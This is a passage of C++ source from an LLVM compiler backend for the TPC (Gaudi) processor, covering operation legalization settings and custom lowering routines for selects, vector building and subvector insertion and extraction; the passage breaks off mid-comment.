Custom);\n\n for (auto VT : {MVT::i32, MVT::i16, MVT::i8}) {\n setOperationAction(ISD::UDIV, VT, Custom);\n setOperationAction(ISD::UREM, VT, Custom);\n setOperationAction(ISD::SDIV, VT, Custom);\n setOperationAction(ISD::SREM, VT, Custom);\n }\n\n for (auto VT :{ MVT::i32, MVT::i16, MVT::i8,\n MVT::v64i32, MVT::v128i16, MVT::v256i8 }) {\n setOperationAction(ISD::SADDSAT, VT, Legal);\n setOperationAction(ISD::UADDSAT, VT, Legal);\n setOperationAction(ISD::SSUBSAT, VT, Legal);\n setOperationAction(ISD::USUBSAT, VT, Legal);\n }\n\n setOperationAction(ISD::BlockAddress, MVT::i32, Custom);\n\n for (auto VT : {MVT::v64f32, MVT::v128f16, MVT::v128bf16}) {\n setOperationAction(ISD::FDIV, VT, Custom);\n setOperationAction(ISD::FREM, VT, Custom);\n }\n\n // setOperationAction(ISD::SUB, MVT::v256i32, Expand);\n // we got v64i32 = BUILD_VECTOR t1305, t1308,... which can not be supported\n\n setTruncStoreAction(MVT::i64, MVT::i32, Custom);\n\n setLoadExtAction(ISD::EXTLOAD, MVT::f32, MVT::f16, Custom);\n setLoadExtAction(ISD::EXTLOAD, MVT::f32, MVT::bf16, Custom);\n setLoadExtAction(ISD::EXTLOAD, MVT::i64, MVT::i32, Custom);\n\n // Mark extending vector loads (like v128bf16(mem)->v128f32(reg)) as custom\n // lowered. They are unavailable on TPC and considered legal by default.\n for (auto DTy : { MVT::v256f32, MVT::v128f32, MVT::v256f16, MVT::v256bf16 })\n for (auto STy : { MVT::v64f32, MVT::v128f32,\n MVT::v128f16, MVT::v256f16,\n MVT::v128bf16, MVT::v256bf16,\n MVT::v256f8_143, MVT::v256f8_152 })\n setLoadExtAction(ISD::EXTLOAD, DTy, STy, Custom);\n\n setOperationAction(ISD::FP_EXTEND, MVT::f32, Legal);\n\n // Unordered comparisons.\n //\n // These unordered comparisons appear as a result of canonicalization in\n // InstCombiner::visitBranchInst.\n setCondCodeAction(ISD::SETUGT, MVT::f32, Expand);\n setCondCodeAction(ISD::SETUGT, MVT::f16, Expand);\n setCondCodeAction(ISD::SETUGT, MVT::bf16, Expand);\n setCondCodeAction(ISD::SETULT, MVT::f32, Expand);\n setCondCodeAction(ISD::SETULT, MVT::f16, Expand);\n setCondCodeAction(ISD::SETULT, MVT::bf16, Expand);\n setCondCodeAction(ISD::SETUEQ, MVT::f32, Expand);\n setCondCodeAction(ISD::SETUEQ, MVT::f16, Expand);\n setCondCodeAction(ISD::SETUEQ, MVT::bf16, Expand);\n setCondCodeAction(ISD::SETUEQ, MVT::f8_143, Expand);\n setCondCodeAction(ISD::SETUEQ, MVT::f8_152, Expand);\n // These are created in DAGCombiner.\n setCondCodeAction(ISD::SETUNE, MVT::f32, Expand);\n setCondCodeAction(ISD::SETUNE, MVT::f16, Expand);\n setCondCodeAction(ISD::SETUNE, MVT::bf16, Expand);\n setCondCodeAction(ISD::SETUNE, MVT::f8_143, Expand);\n setCondCodeAction(ISD::SETUNE, MVT::f8_152, Expand);\n\n if (!DisableIRFCopy) {\n setOperationAction(ISD::INTRINSIC_WO_CHAIN, MVT::Other, Custom);\n }\n\n for (auto Ty :{ MVT::v64f32, MVT::v128f32, MVT::v256f32,\n MVT::v128f16, MVT::v256f16,\n MVT::v128bf16, MVT::v256bf16,\n MVT::v256f8_143, MVT::v256f8_152,\n MVT::v64i32, MVT::v128i32, MVT::v256i32,\n MVT::v128i16, MVT::v256i16,\n MVT::v256i8, MVT::v512i8 })\n setOperationAction(ISD::INTRINSIC_WO_CHAIN, Ty, Custom);\n\n\n setOperationAction(ISD::INTRINSIC_W_CHAIN, MVT::i64, Custom);\n setOperationAction(ISD::INTRINSIC_W_CHAIN, MVT::Other, Custom);\n\n setTargetDAGCombine(ISD::BITCAST);\n setTargetDAGCombine(ISD::ADD);\n setTargetDAGCombine(ISD::VECTOR_SHUFFLE);\n\n setMinFunctionAlignment(Align(2));\n computeRegisterProperties(Subtarget->getRegisterInfo());\n\n // we don't need to sink (and duplicate) compares\n // aggressively in CodeGenPrep.\n setHasMultipleConditionRegisters();\n}\n\nunsigned TPCTargetLowering::getZeroReg() const { return TPC::S31; }\n\nbool TPCTargetLowering::isProfitableToHoist(Instruction *I) const {\n if (I->getOpcode() == Instruction::Call)\n return false;\n return TargetLowering::isProfitableToHoist(I);\n}\n\nunsigned getTargetConvertType(const TPCSubtarget &Subtarget) {\n if (Subtarget.hasGaudiISA()) {\n return TPC::CONVERT_INT16g2vip;\n } else {\n return TPC::CONVERT_INT16vvp;\n }\n}\n\nconst char *TPCTargetLowering::getTargetNodeName(unsigned Opcode) const {\n switch (Opcode) {\n case (TPCISD::FPOR): return \"TPC::FPOR\";\n case (TPCISD::FPAND): return \"TPC::FPAND\";\n case (TPCISD::FPXOR): return \"TPC::FPXOR\";\n case (TPCISD::FPNOT): return \"TPC::FPNOT\";\n case (TPCISD::MAC): return \"TPC::MAC\";\n case (TPCISD::FMAC): return \"TPC::FMAC\";\n case (TPCISD::MAX): return \"TPC::MAX\";\n case (TPCISD::MIN): return \"TPC::MIN\";\n case (TPCISD::FMAX): return \"TPC::FMAX\";\n case (TPCISD::FMIN): return \"TPC::FMIN\";\n case (TPCISD::INOT): return \"TPC::INOT\";\n case (TPCISD::FSRL): return \"TPC::FSRL\";\n case (TPCISD::FSHL): return \"TPC::FSHL\";\n case (TPCISD::FSRA): return \"TPC::FSRA\";\n case (TPCISD::HALT): return \"halt\";\n case (TPCISD::COND_MOV): return \"TPC::COND_MOV\";\n case (TPCISD::COND_MOV_INVERT): return \"TPC::COND_MOV_INVERT\";\n case (TPCISD::LD_G): return \"TPC::LD_G\";\n case (TPCISD::LD_G_INC): return \"TPC::LD_G_INC\";\n case (TPCISD::ST_G): return \"TPC::ST_G\";\n case (TPCISD::ST_G_INC): return \"TPC::ST_G_INC\";\n default: return nullptr;\n }\n}\n\nRegister TPCTargetLowering::getRegisterByName(const char *RegName, LLT VT,\n const MachineFunction &MF) const {\n unsigned Reg = StringSwitch<unsigned>(RegName)\n .Case(\"sp0\", TPC::SP0)\n .Case(\"vp0\", TPC::VP0)\n .Case(\"lfsr\", TPC::LFSR)\n .Case(\"lfsr_no_change\", TPC::LFSR_NO_CHANGE)\n .Case(\"s_lfsr\", TPC::S_LFSR)\n .Case(\"s_lfsr_no_change\", TPC::S_LFSR_NO_CHANGE)\n .Case(\"v_lane_id_32\", TPC::V_LANE_ID_32)\n .Case(\"v_lane_id_16\", TPC::V_LANE_ID_16)\n .Case(\"v_lane_id_8\", TPC::V_LANE_ID_8)\n .Case(\"i2\", TPC::I2)\n .Default(0);\n\n if (Reg)\n return Reg;\n\n report_fatal_error(\"Invalid register name global variable\");\n}\n\n#include \"TPCGenCallingConv.inc\"\n\nSDValue TPCTargetLowering::LowerFormalArguments(\n SDValue chain, CallingConv::ID CallConv, bool isVarArg,\n const SmallVectorImpl<ISD::InputArg> &Ins, const SDLoc &dl,\n SelectionDAG &DAG, SmallVectorImpl<SDValue> &InVals) const {\n MachineFunction &mf = DAG.getMachineFunction();\n\n // Assign locations to all of the incoming arguments.\n SmallVector<CCValAssign, 32> ArgLocs;\n CCState CCInfo(CallConv, isVarArg, DAG.getMachineFunction(), ArgLocs,\n *DAG.getContext());\n CCInfo.AnalyzeFormalArguments(Ins, CC_TPC);\n\n for (unsigned i = 0; i != ArgLocs.size(); ++i) {\n CCValAssign &ArgLoc = ArgLocs[i];\n if (ArgLoc.isRegLoc()) {\n unsigned v_reg = mf.addLiveIn(ArgLoc.getLocReg(), &TPC::SRFRegClass);\n SDValue copy = DAG.getCopyFromReg(chain, dl, v_reg, ArgLoc.getLocVT());\n if (ArgLoc.getValVT() != ArgLoc.getLocVT()) {\n assert(ArgLoc.isExtInLoc());\n copy = DAG.getZExtOrTrunc(copy, dl, ArgLoc.getValVT());\n }\n InVals.push_back(copy);\n } else {\n llvm_unreachable(\"Not implemented\");\n }\n }\n\n return chain;\n}\n\nSDValue\nTPCTargetLowering::LowerReturn(SDValue Chain, CallingConv::ID CC, bool Flag,\n const SmallVectorImpl<ISD::OutputArg> &Outs,\n const SmallVectorImpl<SDValue> &Vec,\n const SDLoc &Loc, SelectionDAG &DAG) const {\n return DAG.getNode(TPCISD::HALT, Loc, MVT::Other, Chain);\n}\n\nbool TPCTargetLowering::isFPImmLegal(const APFloat &Imm, EVT VT,\n bool ForCodeSize) const {\n return VT == MVT::f32 || VT == MVT::f16 || VT == MVT::bf16;\n}\n\nTargetLowering::ConstraintType\nTPCTargetLowering::getConstraintType(StringRef Constraint) const {\n unsigned S = Constraint.size();\n\n if (S == 1) {\n switch (Constraint[0]) {\n default:\n break;\n case 's': // Scalar register\n case 'v': // Vector register\n case 'S': // Scalar predicate register\n case 'V': // Vector predicare register\n return C_RegisterClass;\n case 'g': // Global memory\n case 'l': // Local scalar memory\n case 'L': // Local vector memory\n return C_Memory;\n }\n }\n\n if (S > 1 && Constraint[0] == '{' && Constraint[S - 1] == '}') {\n if (S == 8 && Constraint.substr(1, 6) == \"memory\") // \"{memory}\"\n return C_Memory;\n return C_Register;\n }\n return C_Unknown;\n}\n\nSDValue TPCTargetLowering::LowerOperation(SDValue Op, SelectionDAG &DAG) const {\n LLVM_DEBUG(dbgs() << \"TPC custom lowering:\\n \"; Op.dump(&DAG););\n switch (Op.getOpcode()) {\n default:\n llvm_unreachable(\"unimplemented operand\");\n return SDValue();\n case ISD::SELECT_CC:\n return LowerSELECT_CC(Op, DAG);\n case ISD::SELECT:\n return LowerSELECT(Op, DAG);\n case ISD::VECTOR_SHUFFLE:\n return lowerVECTOR_SHUFFLE(Op, DAG);\n case ISD::BUILD_VECTOR:\n return lowerBUILD_VECTOR(Op, DAG);\n case ISD::LOAD:\n return lowerLOAD(Op, DAG);\n case ISD::STORE:\n return lowerSTORE(Op, DAG);\n case ISD::CONCAT_VECTORS:\n return lowerCONCAT_VECTORS(Op, DAG);\n case ISD::EXTRACT_SUBVECTOR:\n return lowerEXTRACT_SUBVECTOR(Op, DAG);\n case ISD::INSERT_SUBVECTOR:\n return lowerINSERT_SUBVECTOR(Op, DAG);\n case ISD::TRUNCATE:\n return lowerTRUNCATE(Op, DAG);\n case ISD::INTRINSIC_WO_CHAIN:\n return LowerINTRINSIC_WO_CHAIN(Op, DAG);\n case ISD::INTRINSIC_W_CHAIN:\n return LowerINTRINSIC_W_CHAIN(Op, DAG);\n case ISD::SIGN_EXTEND:\n return lowerSIGN_EXTEND(Op, DAG);\n case ISD::ZERO_EXTEND:\n return lowerZERO_EXTEND(Op, DAG);\n case ISD::FP_ROUND:\n return lowerFP_ROUND(Op, DAG);\n case ISD::FP_EXTEND:\n return lowerFP_EXTEND(Op, DAG);\n case ISD::FP_TO_SINT:\n case ISD::SINT_TO_FP:\n return lowerCONVERTSIGNED(Op, DAG);\n case ISD::FP_TO_UINT:\n case ISD::UINT_TO_FP:\n return lowerCONVERTUNSIGNED(Op, DAG);\n case ISD::EXTRACT_VECTOR_ELT:\n return lowerEXTRACT_VECTOR_ELT(Op, DAG);\n case ISD::INSERT_VECTOR_ELT:\n return lowerINSERT_VECTOR_ELT(Op, DAG);\n case ISD::MUL:\n return lowerMUL(Op, DAG);\n case ISD::ATOMIC_CMP_SWAP:\n case ISD::ATOMIC_CMP_SWAP_WITH_SUCCESS:\n return lowerAtomicCmpXchg(Op, DAG);\n case ISD::UDIV:\n return lowerUDIV(Op, DAG);\n case ISD::SDIV:\n return lowerSDIV(Op, DAG);\n case ISD::UREM:\n return lowerUREM(Op, DAG);\n case ISD::SREM:\n return lowerSREM(Op, DAG);\n case ISD::FADD:\n return lowerFADD(Op, DAG);\n case ISD::FSUB:\n return lowerFSUB(Op, DAG);\n case ISD::ADD:\n return lowerADD(Op, DAG);\n case ISD::SUB:\n return lowerSUB(Op, DAG);\n case ISD::FDIV:\n return lowerFDIV(Op, DAG);\n case ISD::FREM:\n return lowerFREM(Op, DAG);\n case ISD::ATOMIC_FENCE:\n return lowerAtomicFence(Op, DAG);\n case ISD::ATOMIC_SWAP:\n case ISD::ATOMIC_LOAD_ADD:\n case ISD::ATOMIC_LOAD_SUB:\n case ISD::ATOMIC_LOAD_AND:\n case ISD::ATOMIC_LOAD_OR:\n case ISD::ATOMIC_LOAD_XOR:\n case ISD::ATOMIC_LOAD_NAND:\n case ISD::ATOMIC_LOAD_MIN:\n case ISD::ATOMIC_LOAD_MAX:\n case ISD::ATOMIC_LOAD_UMIN:\n case ISD::ATOMIC_LOAD_UMAX:\n return lowerAtomicRMW(Op, DAG);\n case ISD::BlockAddress:\n return lowerBLOCK_ADDRESS(Op, DAG);\n }\n}\n\nEVT TPCTargetLowering::getSetCCResultType(const DataLayout &DL,\n LLVMContext &Context, EVT VT) const {\n if (VT.isVector()) {\n return EVT::getVectorVT(Context, MVT::i1, VT.getVectorNumElements());\n }\n return MVT::SimpleValueType::i1;\n}\n\n/// Return true if the addressing mode represented by AM is legal for this\n/// target, for a load/store of the specified type.\n///\n/// The type may be VoidTy, in which case only return true if the addressing\n/// mode is legal for a load/store of any legal type. TODO: Handle\n/// pre/postinc as well.\n///\nbool TPCTargetLowering::isLegalAddressingMode(const DataLayout &DL,\n const AddrMode &AM, Type *Ty,\n unsigned AddrSpace,\n Instruction *I) const {\n /// An addressing mode is represented as:\n /// BaseGV + BaseOffs + BaseReg + Scale*ScaleReg\n /// If BaseGV is null, there is no BaseGV.\n /// If BaseOffs is zero, there is no base offset.\n /// If HasBaseReg is false, there is no base register.\n /// If Scale is zero, there is no ScaleReg. Scale of 1 indicates a reg with\n /// no scale.\n\n // No global is ever allowed as a base.\n if (AM.BaseGV)\n return false;\n\n switch (AM.Scale) {\n case 0: // \"r+i\" or just \"i\", depending on HasBaseReg.\n // Although \"r+i\" generally is not supported on TPC, disallowing it results\n // in malfunction of many passes, in particular, LICM and StrengthReduction.\n // if (AM.HasBaseReg &&\n // !(Subtarget->getFeatureBits()[TPC::FeatureAddr2] && AddrSpace ==\n // LOCAL_VECTOR) && AM.BaseOffs)\n // return false;\n break;\n case 1:\n if (AM.HasBaseReg && AM.BaseOffs) // \"r+r+i\" is not allowed.\n return false;\n // Otherwise we have r+r or r+i.\n if (AM.BaseOffs && !(Subtarget->getFeatureBits()[TPC::FeatureAddr2] &&\n AddrSpace == LOCAL_VECTOR))\n return false;\n break;\n case 2:\n if (AM.HasBaseReg || AM.BaseOffs) // 2*r+r or 2*r+i is not allowed.\n return false;\n // Allow 2*r as r+r on target with 2-component address.\n if (!Subtarget->getFeatureBits()[TPC::FeatureAddr2] ||\n AddrSpace != LOCAL_VECTOR)\n return false;\n break;\n default: // Don't allow other modes\n return false;\n }\n return true;\n}\n\nbool TPCTargetLowering::getIndexedAddressParts(SDNode *Op, SDValue &Base,\n SDValue &Offset,\n SelectionDAG &DAG) const {\n if (Op->getOpcode() != ISD::ADD)\n return false;\n\n Base = Op->getOperand(0);\n // All of the indexed addressing mode instructions take an immediate offset.\n if (ConstantSDNode *IncVal = dyn_cast<ConstantSDNode>(Op->getOperand(1))) {\n int64_t Inc = IncVal->getSExtValue();\n if (Inc != 1 && Inc != 2 && Inc != 4 && Inc != 8)\n return false;\n Offset = Op->getOperand(1);\n return true;\n }\n return false;\n}\n\n/// Returns true by value, base pointer and offset pointer and addressing mode\n/// by reference if this node can be combined with a load / store to form a\n/// post-indexed load / store.\nbool TPCTargetLowering::getPostIndexedAddressParts(SDNode *N, SDNode *Op,\n SDValue &Base,\n SDValue &Offset,\n ISD::MemIndexedMode &AM,\n SelectionDAG &DAG) const {\n EVT VT;\n SDValue Ptr;\n unsigned AS;\n if (LoadSDNode *LD = dyn_cast<LoadSDNode>(N)) {\n VT = LD->getMemoryVT();\n Ptr = LD->getBasePtr();\n AS = LD->getAddressSpace();\n } else if (StoreSDNode *ST = dyn_cast<StoreSDNode>(N)) {\n VT = ST->getMemoryVT();\n Ptr = ST->getBasePtr();\n AS = ST->getAddressSpace();\n } else\n return false;\n\n if (AS != 3)\n return false;\n if (!getIndexedAddressParts(Op, Base, Offset, DAG))\n return false;\n // Post-indexing updates the base, so it's not a valid transform\n // if that's not the same as the load's pointer.\n if (Ptr != Base)\n return false;\n AM = ISD::POST_INC;\n return true;\n}\n\nbool TPCTargetLowering::canMergeStoresTo(unsigned AS, EVT MemVT,\n const SelectionDAG &DAG) const {\n // On TPC only stores into global address space can be merged.\n return AS == AddressSpace::GLOBAL && MemVT.getSizeInBits() <= 4;\n}\n\nSDValue TPCTargetLowering::LowerSELECT_CC(SDValue Op, SelectionDAG &DAG) const {\n SDValue Op0 = Op.getOperand(0);\n SDValue Op1 = Op.getOperand(1);\n SDValue Op2 = Op.getOperand(2);\n SDValue Op3 = Op.getOperand(3);\n SDValue Op4 = Op.getOperand(4);\n EVT ccvt;\n EVT VT0 = Op0.getValueType();\n if (VT0.isVector()) {\n assert(0 && \"Vector compare is unsupported (yet)\");\n } else {\n ccvt = MVT::i1;\n }\n SDValue cond = DAG.getNode(ISD::SETCC, SDLoc(Op), MVT::i1, Op0, Op1, Op4);\n\n SDValue SecondMov = DAG.getNode(TPCISD::COND_MOV_INVERT, SDLoc(Op),\n Op3->getVTList(), Op3, cond, Op2);\n return SecondMov;\n}\n\nSDValue TPCTargetLowering::LowerSELECT(SDValue Op, SelectionDAG &DAG) const {\n SDValue Cond = Op.getOperand(0);\n SDValue Op1 = Op.getOperand(1);\n SDValue Op2 = Op.getOperand(2);\n EVT VT = Op.getValueType();\n SDLoc DL(Op);\n\n // to recognize MIN/MAX idioms\n if (!VT.isVector() && (VT == MVT::i32 || VT == MVT::i16 || VT == MVT::i8)) {\n if (Cond.getOpcode() == ISD::SETCC) {\n if (Cond.getOperand(0) == Op1 && Cond.getOperand(1) == Op2) {\n SDValue trd = Cond.getOperand(2);\n if (trd.getOpcode() == ISD::CONDCODE) {\n auto concod = cast<CondCodeSDNode>(trd)->get();\n if (concod == ISD::SETGT || concod == ISD::SETUGT) {\n return Op;\n } else if (concod == ISD::SETLT || concod == ISD::SETULT) {\n return Op;\n }\n }\n }\n }\n }\n\n bool is_double_vect = false;\n if (VT.isVector()) {\n EVT EltT = VT.getVectorElementType();\n unsigned EltSize = EltT.getStoreSizeInBits();\n EVT OpType = Op1.getValueType();\n unsigned OpVectSize = OpType.getVectorNumElements();\n is_double_vect = EltSize == 32 && OpVectSize == 128;\n }\n if (is_double_vect) {\n EVT EltT = VT.getVectorElementType();\n EVT SubregType = EVT::getVectorVT(*DAG.getContext(), EltT, 64);\n SDValue Subreg1Start = DAG.getConstant(0, DL, MVT::i32);\n SDValue Subreg2Start = DAG.getConstant(64, DL, MVT::i32);\n SDValue Op1_1 =\n DAG.getNode(ISD::EXTRACT_SUBVECTOR, DL, SubregType, Op1, Subreg1Start);\n SDValue Op1_2 =\n DAG.getNode(ISD::EXTRACT_SUBVECTOR, DL, SubregType, Op1, Subreg2Start);\n SDValue Op2_1 =\n DAG.getNode(ISD::EXTRACT_SUBVECTOR, DL, SubregType, Op2, Subreg1Start);\n SDValue Op2_2 =\n DAG.getNode(ISD::EXTRACT_SUBVECTOR, DL, SubregType, Op2, Subreg2Start);\n EVT SubregCondType = EVT::getVectorVT(*DAG.getContext(), EltT, 64);\n\n EVT cvt = Cond.getValueType();\n SDValue cond1, cond2;\n if (cvt.isVector()) {\n llvm_unreachable(\"vector cond is not implemented yet\");\n } else {\n cond1 = cond2 = Cond;\n }\n\n SDValue half1 =\n DAG.getNode(ISD::SELECT, DL, SubregType, cond1, Op1_1, Op1_2);\n SDValue half2 =\n DAG.getNode(ISD::SELECT, DL, SubregType, cond2, Op2_1, Op2_2);\n\n SmallVector<SDValue, 2> SubVects;\n SubVects.push_back(LowerSELECT(half1, DAG));\n SubVects.push_back(LowerSELECT(half2, DAG));\n return createTuple(SubVects, DAG);\n } else {\n SDValue SecondMov = DAG.getNode(TPCISD::COND_MOV_INVERT, SDLoc(Op),\n Op1->getVTList(), Op2, Cond, Op1);\n return SecondMov;\n }\n}\n\nSDValue TPCTargetLowering::lowerEXTRACT_SUBVECTOR(SDValue Op,\n SelectionDAG &DAG) const {\n EVT SubRegTy = Op.getValueType();\n assert(SubRegTy.isVector());\n EVT EltTy = SubRegTy.getVectorElementType();\n SDValue WideReg = Op.getOperand(0);\n EVT WideRegTy = WideReg.getValueType();\n SDLoc DL(Op);\n\n unsigned EltSz = EltTy.getScalarSizeInBits();\n assert(EltSz > 0);\n unsigned NumElements = WideRegTy.getVectorNumElements();\n unsigned SubVectorSize = VRF_REGISTER_LENGTH_IN_BITS / EltSz;\n assert(VRF_REGISTER_LENGTH_IN_BITS % EltSz == 0);\n unsigned NumSubVectors = NumElements / SubVectorSize;\n assert(NumElements % SubVectorSize == 0);\n assert(SubRegTy.getVectorNumElements() == SubVectorSize);\n assert(WideRegTy.getVectorNumElements() == NumElements);\n assert(SubRegTy.getVectorElementType() == WideRegTy.getVectorElementType());\n\n auto Cst = cast<ConstantSDNode>(Op.getOperand(1));\n unsigned Offset = Cst->getZExtValue();\n assert(Offset < NumElements);\n assert(Offset % SubVectorSize == 0);\n\n unsigned SubRegIndex;\n if (NumSubVectors == 4) {\n assert(SubVectorSize == 64);\n switch (Offset) {\n case 0:\n SubRegIndex = TPC::sub_0;\n break;\n case 64:\n SubRegIndex = TPC::sub_1;\n break;\n case 128:\n SubRegIndex = TPC::sub_2;\n break;\n case 192:\n SubRegIndex = TPC::sub_3;\n break;\n default:\n llvm_unreachable(\"Invalid subregister of ARF\");\n }\n } else if (NumSubVectors == 2) {\n if (Offset == 0)\n SubRegIndex = TPC::sub_0;\n else if (Offset == SubVectorSize)\n SubRegIndex = TPC::sub_1;\n else\n llvm_unreachable(\"Invalid subregister of DRF\");\n } else {\n llvm_unreachable(\"Invalid register multiplicity\");\n }\n\n SDValue SubReg = DAG.getTargetConstant(SubRegIndex, DL, MVT::i32);\n MachineSDNode *Node = DAG.getMachineNode(TargetOpcode::EXTRACT_SUBREG, DL,\n SubRegTy, WideReg, SubReg);\n return SDValue(Node, 0);\n}\n\nSDValue TPCTargetLowering::lowerINSERT_SUBVECTOR(SDValue Op,\n SelectionDAG &DAG) const {\n EVT ResTy = Op.getValueType();\n assert(ResTy.isVector());\n EVT EltTy = ResTy.getVectorElementType();\n SDLoc DL(Op);\n\n SDValue WideReg = Op.getOperand(0);\n SDValue ShortReg = Op.getOperand(1);\n EVT SubTy = ShortReg.getValueType();\n (void)SubTy;\n assert(SubTy.isVector());\n\n unsigned EltSz = EltTy.getScalarSizeInBits();\n assert(EltSz > 0);\n unsigned NumElements = ResTy.getVectorNumElements();\n unsigned SubVectorSize = VRF_REGISTER_LENGTH_IN_BITS / EltSz;\n assert(VRF_REGISTER_LENGTH_IN_BITS % EltSz == 0);\n unsigned NumSubVectors = NumElements / SubVectorSize;\n assert(NumElements % SubVectorSize == 0);\n assert(SubTy.getVectorNumElements() == SubVectorSize);\n\n ConstantSDNode *Start = cast<ConstantSDNode>(Op.getOperand(2));\n unsigned Offset = Start->getZExtValue();\n assert(Offset < NumElements);\n assert(Offset % SubVectorSize == 0);\n unsigned RegNo = Offset / SubVectorSize;\n\n int SubRegIndex;\n if (NumSubVectors == 4) {\n switch (RegNo) {\n case 0:\n SubRegIndex = TPC::sub_0;\n break;\n case 1:\n SubRegIndex = TPC::sub_1;\n break;\n case 2:\n SubRegIndex = TPC::sub_2;\n break;\n case 3:\n SubRegIndex = TPC::sub_3;\n break;\n default:\n llvm_unreachable(\"Wrong subindex\");\n }\n } else if (NumSubVectors == 2) {\n switch (RegNo) {\n case 0:\n SubRegIndex = TPC::sub_0;\n break;\n case 1:\n SubRegIndex = TPC::sub_1;\n break;\n default:\n llvm_unreachable(\"Wrong subindex\");\n }\n } else {\n llvm_unreachable(\"Wrong subvector size\");\n }\n\n SDValue SubReg = DAG.getTargetConstant(SubRegIndex, DL, MVT::i32);\n MachineSDNode *Node =\n DAG.getMachineNode(TargetOpcode::INSERT_SUBREG, DL, ResTy.getSimpleVT(),\n WideReg, ShortReg, SubReg);\n return SDValue(Node, 0);\n}\n\nSDValue TPCTargetLowering::lowerBUILD_VECTOR(SDValue Op,\n SelectionDAG &DAG) const {\n BuildVectorSDNode *Node = cast<BuildVectorSDNode>(Op);\n SDLoc DL(Op);\n EVT ResTy = Op->getValueType(0);\n assert(ResTy.isVector());\n EVT EltTy = ResTy.getVectorElementType();\n unsigned NumElements = ResTy.getVectorNumElements();\n unsigned EltSz = EltTy.getScalarSizeInBits();\n assert(EltSz > 0);\n\n if (NumElements == 2) {\n assert(EltTy.isScalarInteger());\n assert(EltSz == 8 || EltSz == 16 || EltSz == 32);\n SDValue V1 = Node->getOperand(0);\n SDValue V2 = Node->getOperand(1);\n return createTuple({V1, V2}, DAG);\n }\n\n unsigned SubVectorSize = VRF_REGISTER_LENGTH_IN_BITS / EltSz;\n assert(VRF_REGISTER_LENGTH_IN_BITS % EltSz == 0);\n unsigned NumSubVectors = NumElements / SubVectorSize;\n assert(NumElements % SubVectorSize == 0);\n EVT SubVectorTy = EVT::getVectorVT(*DAG.getContext(), EltTy, SubVectorSize);\n assert(NumElements == Node->getNumOperands());\n\n // We provide specific lowering only for vectors of 64, 128, 256 or 512\n // elements.\n switch (NumElements) {\n case 64:\n case 128:\n case 256:\n case 512:\n break;\n default:\n llvm_unreachable(\"Unsupported vector size\");\n }\n if (NumSubVectors == 1) { // Need to consider special constant vector\n if (EltSz == 8 && NumElements == 256) {\n ConstantSDNode *e0, *e1, *e2, *e3;\n e0 = dyn_cast<ConstantSDNode>(Node->getOperand(0));\n e1 = dyn_cast<ConstantSDNode>(Node->getOperand(1));\n e2 = dyn_cast<ConstantSDNode>(Node->getOperand(2));\n e3 = dyn_cast<ConstantSDNode>(Node->getOperand(3));\n if (e0 && e1 && e2 && e3 &&\n !(e0==e1 && e1==e2 && e2==e3 && e3==e0)) {\n //check if vector is periodic\n for (unsigned int i = 4; i < NumElements; i+=4) {\n if (Node->getOperand(i+0) == Node->getOperand(0) &&\n Node->getOperand(i+1) == Node->getOperand(1) &&\n Node->getOperand(i+2) == Node->getOperand(2) &&\n Node->getOperand(i+3) == Node->getOperand(3)) {\n continue;\n } else {\n return Op; // not our case\n }\n }\n unsigned u0 = e0->getZExtValue();\n unsigned u1 = e1->getZExtValue();\n unsigned u2 = e2->getZExtValue();\n unsigned u3 = e3->getZExtValue();\n u0 <<= 0;\n u1 <<= 8;\n u2 <<= 16;\n u3 <<= 24;\n unsigned comval = u0 | u1 | u2 | u3;\n SDValue sdv = DAG.getTargetConstant(comval, DL, MVT::i32);\n SmallVector<SDValue, 64> Ops;\n for (int i = 0; i < 64; i++) {\n Ops.push_back(sdv);\n }\n EVT VectorTy =\n EVT::getVectorVT(*DAG.getContext(), MVT::i32, 64);\n SDValue const64vector = DAG.getBuildVector(VectorTy, DL, Ops);\n return DAG.getNode(ISD::BITCAST, DL, ResTy, const64vector);\n }\n }\n return Op;\n }\n // Replace BUILD_VECTOR with concatenation of v64i32/v64f32 elements.\n SmallVector<SDValue, 4> Sections;\n for (unsigned I = 0; I < NumSubVectors; ++I) {\n SmallVector<SDValue, 256> Args;\n bool HasUndef = false;\n bool HasDefined = false;\n for (unsigned SubN = 0; SubN < SubVectorSize; ++SubN) {\n SDValue Item = Node->getOperand(SubVectorSize * I + SubN);\n if (Item.isUndef())\n HasUndef = true;\n else\n HasDefined = true;\n Args.push_back(Item);\n }\n if (HasUndef && !HasDefined) {\n Sections.push_back(DAG.getUNDEF(SubVectorTy.getSimpleVT()));\n } else {\n SDValue Item = DAG.getBuildVector(SubVectorTy.getSimpleVT(), DL, Args);\n Sections.push_back(Item);\n }\n }\n return createTuple(Sections, DAG);\n}\n\nstatic bool isSequentialMask(const ArrayRef<int> &Mask) {\n for (unsigned I = 1; I < Mask.size(); ++I)\n if (Mask[I] != Mask[I - 1] + 1)\n return false;\n return true;\n}\n\nstatic bool isUndefinedMask(const ArrayRef<int> &Mask) {\n for (unsigned I = 1; I < Mask.size(); ++I)\n if (Mask[I] != -1)\n return false;\n return true;\n}\n\n// Returns true if all elements of the mask are zeroes.\nstatic bool isZeroMask(const ArrayRef<int> &Mask) {\n for (unsigned I = 1; I < Mask.size(); ++I)\n if (Mask[I] != 0)\n return false;\n return true;\n}\n\nstatic unsigned getFullVectorSize(EVT EltTy) {\n if (EltTy.getSizeInBits() == 8 || EltTy.getSizeInBits() == 1)\n return 256;\n if (EltTy.getSizeInBits() == 16)\n return 128;\n if (EltTy.getSizeInBits() == 32)\n return 64;\n return 0;\n}\n\nstatic ArrayRef<int> getHalfMask(const ArrayRef<int> &Mask, size_t HalfNo) {\n assert(Mask.size() % 2 == 0);\n assert(HalfNo <= 1);\n int HalfSize = Mask.size() / 2;\n return HalfNo == 0 ? Mask.drop_back(HalfSize) : Mask.drop_front(HalfSize);\n}\n\n// Checks if the given a shuffle_vector mask implements a \"set subregister\"\n// operation. For instance, shuffle_vector operation with mask (0, 5, 6, 7)\n// applied to two 4-element vectors produces vector that can be considered as\n// a result of operations:\n//\n// subreg = get_subreg(op0, 0)\n// set_subreg(op1, 0, subreg)\n//\n// If it is so, the function returns true, 'ArgNo' in this case contains the\n// argument that provides subregister (0 or 1) and 'RegNo' is a number of\n// subregister inside the other argument.\n//\nstatic bool isSetSubregisterMask(const ArrayRef<int> &Mask, unsigned &ArgNo,\n unsigned &RegNo) {\n // Process only masks with 128 or 256 elements. Vectors of 64 elements do\n // not contain subregisters.\n if (Mask.size() % 64 || Mask.size() < 128)\n return false;\n\n // Number of subregisters of 64 elements contained in the result formed by\n // this mask.\n unsigned NumSubregs = Mask.size() / 64;\n\n // We assume that we 